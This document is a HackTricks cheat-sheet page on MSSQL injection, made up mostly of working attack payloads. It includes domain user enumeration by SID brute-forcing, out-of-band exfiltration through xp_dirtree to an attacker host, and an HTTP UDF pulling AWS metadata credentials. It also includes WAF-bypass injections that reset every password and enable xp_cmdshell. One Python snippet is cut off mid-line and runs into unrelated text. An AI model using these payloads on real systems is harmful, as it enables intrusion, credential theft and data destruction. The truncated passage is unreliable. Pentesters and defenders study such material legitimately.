# MSSQL Injection
Learn AWS hacking from zero to hero with htARTE (HackTricks AWS Red Team Expert)! Other ways to support HackTricks: * If you want to see your **company advertised in HackTricks** or **download HackTricks in PDF** Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! * Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) * Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) * **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.** * **Share your hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
## Active Directory enumeration It may be possible to **enumerate domain users via SQL injection inside a MSSQL** server using the following MSSQL functions: * **`SELECT DEFAULT_DOMAIN()`**: Get current domain name. * **`master.dbo.fn_varbintohexstr(SUSER_SID('DOMAIN\Administrator'))`**: If you know the name of the domain (_DOMAIN_ in this example) this function will return the **SID of the user Administrator** in hex format. This will look like `0x01050000000[...]0000f401`, note how the **last 4 bytes** are the number **500** in **big endian** format, which is the **common ID of the user administrator**.\ This function will allow you to **know the ID of the domain** (all the bytes except of the last 4). * **`SUSER_SNAME(0x01050000000[...]0000e803)`** : This function will return the **username of the ID indicated** (if any), in this case **0000e803** in big endian == **1000** (usually this is the ID of the first regular user ID created). Then you can imagine that you can brute-force user IDs from 1000 to 2000 and probably get all the usernames of the users of the domain. For example using a function like the following one: ```python def get_sid(n): domain = '0x0105000000000005150000001c00d1bcd181f1492bdfc236' user = struct.pack(' Stored procedures like `xp_dirtree`, though not officially documented by Microsoft, have been described by others online due to their utility in network operations within MSSQL. These procedures are often used in Out of Band Data exfiltration, as showcased in various [examples](https://www.notsosecure.com/oob-exploitation-cheatsheet/) and [posts](https://gracefulsecurity.com/sql-injection-out-of-band-exploitation/). The `xp_dirtree` stored procedure, for instance, is used to make network requests, but it's limited to only TCP port 445. The port number isn't modifiable, but it allows reading from network shares. The usage is demonstrated in the SQL script below: ```sql DECLARE @user varchar(100); SELECT @user = (SELECT user); EXEC ('master..xp_dirtree "\\' + @user + '.attacker-server\\aa"'); ``` It's noteworthy that this method might not work on all system configurations, such as on `Microsoft SQL Server 2019 (RTM) - 15.0.2000.5 (X64)` running on a `Windows Server 2016 Datacenter` with default settings. Additionally, there are alternative stored procedures like `master..xp_fileexist` and `xp_subdirs` that can achieve similar outcomes. Further details on `xp_fileexist` can be found in this [TechNet article](https://social.technet.microsoft.com/wiki/contents/articles/40107.xp-fileexist-and-its-alternate.aspx). ### `xp_cmdshell` Obviously you could also use **`xp_cmdshell`** to **execute** something that triggers a **SSRF**. For more info **read the relevant section** in the page: {% content-ref url="../../network-services-pentesting/pentesting-mssql-microsoft-sql-server/" %} [pentesting-mssql-microsoft-sql-server](../../network-services-pentesting/pentesting-mssql-microsoft-sql-server/) {% endcontent-ref %} ### MSSQL User Defined Function - SQLHttp Creating a CLR UDF (Common Language Runtime User Defined Function), which is code authored in any .NET language and compiled into a DLL, to be loaded within MSSQL for executing custom functions, is a process that requires `dbo` access. This means it is usually feasible only when the database connection is made as `sa` or with an Administrator role. A Visual Studio project and installation instructions are provided in [this Github repository](https://github.com/infiniteloopltd/SQLHttp) to facilitate the loading of the binary into MSSQL as a CLR assembly, thereby enabling the execution of HTTP GET requests from within MSSQL. The core of this functionality is encapsulated in the `http.cs` file, which employs the `WebClient` class to execute a GET request and retrieve content as illustrated below: ```csharp using System.Data.SqlTypes; using System.Net; public partial class UserDefinedFunctions { [Microsoft.SqlServer.Server.SqlFunction] public static SqlString http(SqlString url) { var wc = new WebClient(); var html = wc.DownloadString(url.Value); return new SqlString(html); } } ``` Before executing the `CREATE ASSEMBLY` SQL command, it is advised to run the following SQL snippet to add the SHA512 hash of the assembly to the server's list of trusted assemblies (viewable via `select * from sys.trusted_assemblies;`): ```sql EXEC sp_add_trusted_assembly 0x35acf108139cdb825538daee61f8b6b07c29d03678a4f6b0a5dae41a2198cf64cefdb1346c38b537480eba426e5f892e8c8c13397d4066d4325bf587d09d0937,N'HttpDb, version=0.0.0.0, culture=neutral, publickeytoken=null, processorarchitecture=msil'; ``` After successfully adding the assembly and creating the function, the following SQL code can be utilized to perform HTTP requests: ```sql DECLARE @url varchar(max); SET @url = 'http://169.254.169.254/latest/meta-data/iam/security-credentials/s3fullaccess/'; SELECT dbo.http(@url); ``` ### **Quick Exploitation: Retrieving Entire Table Contents in a Single Query** [Trick from here](https://swarm.ptsecurity.com/advanced-mssql-injection-tricks/). A concise method for extracting the full content of a table in a single query involves utilizing the `FOR JSON` clause. This approach is more succinct than using the `FOR XML` clause, which requires a specific mode like "raw". The `FOR JSON` clause is preferred for its brevity. Here's how to retrieve the schema, tables, and columns from the current database: ```sql https://vuln.app/getItem?id=-1'+union+select+null,concat_ws(0x3a,table_schema,table_name,column_name),null+from+information_schema.columns+for+json+auto-- In situations where error-based vectors are used, it's crucial to provide an alias or a name. This is because the output of expressions, if not provided with either, cannot be formatted as JSON. Here's an example of how this is done: ```sql https://vuln.app/getItem?id=1'+and+1=(select+concat_ws(0x3a,table_schema,table_name,column_name)a+from+information_schema.columns+for+json+auto)-- ``` ### Retrieving the Current Query [Trick from here](https://swarm.ptsecurity.com/advanced-mssql-injection-tricks/). For users granted the `VIEW SERVER STATE` permission on the server, it's possible to see all executing sessions on the SQL Server instance. However, without this permission, users can only view their current session. The currently executing SQL query can be retrieved by accessing sys.dm_exec_requests and sys.dm_exec_sql_text: ```sql https://vuln.app/getItem?id=-1%20union%20select%20null,(select+text+from+sys.dm_exec_requests+cross+apply+sys.dm_exec_sql_text(sql_handle)),null,null ``` To check if you have the VIEW SERVER STATE permission, the following query can be used: ```sql SELECT * FROM fn_my_permissions(NULL, 'SERVER') WHERE permission_name='VIEW SERVER STATE'; ``` ## **Little tricks for WAF bypasses** [Tricks also from here](https://swarm.ptsecurity.com/advanced-mssql-injection-tricks/) Non-standard whitespace characters: %C2%85 или %C2%A0: ``` https://vuln.app/getItem?id=1%C2%85union%C2%85select%C2%A0null,@@version,null-- ``` Scientific (0e) and hex (0x) notation for obfuscating UNION: ``` https://vuln.app/getItem?id=0eunion+select+null,@@version,null-- https://vuln.app/getItem?id=0xunion+select+null,@@version,null-- ``` A period instead of a whitespace between FROM and a column name: ``` https://vuln.app/getItem?id=1+union+select+null,@@version,null+from.users-- ``` \N separator between SELECT and a throwaway column: ``` https://vuln.app/getItem?id=0xunion+select\Nnull,@@version,null+from+users-- ``` ### WAF Bypass with unorthodox stacked queries According to [**this blog post**](https://www.gosecure.net/blog/2023/06/21/aws-waf-clients-left-vulnerable-to-sql-injection-due-to-unorthodox-mssql-design-choice/) it's possible to stack queries in MSSQL without using ";": ```sql SELECT 'a' SELECT 'b' ``` So for example, multiple queries such as: ```sql use [tempdb] create table [test] ([id] int) insert [test] values(1) select [id] from [test] drop table[test] ``` Can be reduced to: ```sql use[tempdb]create/**/table[test]([id]int)insert[test]values(1)select[id]from[test]drop/**/table[test] ``` Therefore it could be possible to bypass different WAFs that doesn't consider this form of stacking queries. For example: ``` # Adding a useless exec() at the end and making the WAF think this isn't a valid querie admina'union select 1,'admin','testtest123'exec('select 1')-- ## This will be: SELECT id, username, password FROM users WHERE username = 'admina'union select 1,'admin','testtest123' exec('select 1')--' # Using weirdly built queries admin'exec('update[users]set[password]=''a''')-- ## This will be: SELECT id, username, password FROM users WHERE username = 'admin' exec('update[users]set[password]=''a''')--' # Or enabling xp_cmdshell admin'exec('sp_configure''show advanced option'',''1''reconfigure')exec('sp_configure''xp_cmdshell'',''1''reconfigure')-- ## This will be select * from users where username = ' admin' exec('sp_configure''show advanced option'',''1''reconfigure') exec('sp_configure''xp_cmdshell'',''1''reconfigure')-- ``` ## References * [https://swarm.ptsecurity.com/advanced-mssql-injection-tricks/](https://swarm.ptsecurity.com/advanced-mssql-injection-tricks/) * [https://www.gosecure.net/blog/2023/06/21/aws-waf-clients-left-vulnerable-to-sql-injection-due-to-unorthodox-mssql-design-choice/](https://www.gosecure.net/blog/2023/06/21/aws-waf-clients-left-vulnerable-to-sql-injection-due-to-unorthodox-mssql-design-choice/)
Learn AWS hacking from zero to hero with htARTE (HackTricks AWS Red Team Expert)! Other ways to support HackTricks: * If you want to see your **company advertised in HackTricks** or **download HackTricks in PDF** Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! * Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) * Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) * **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.** * **Share your hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.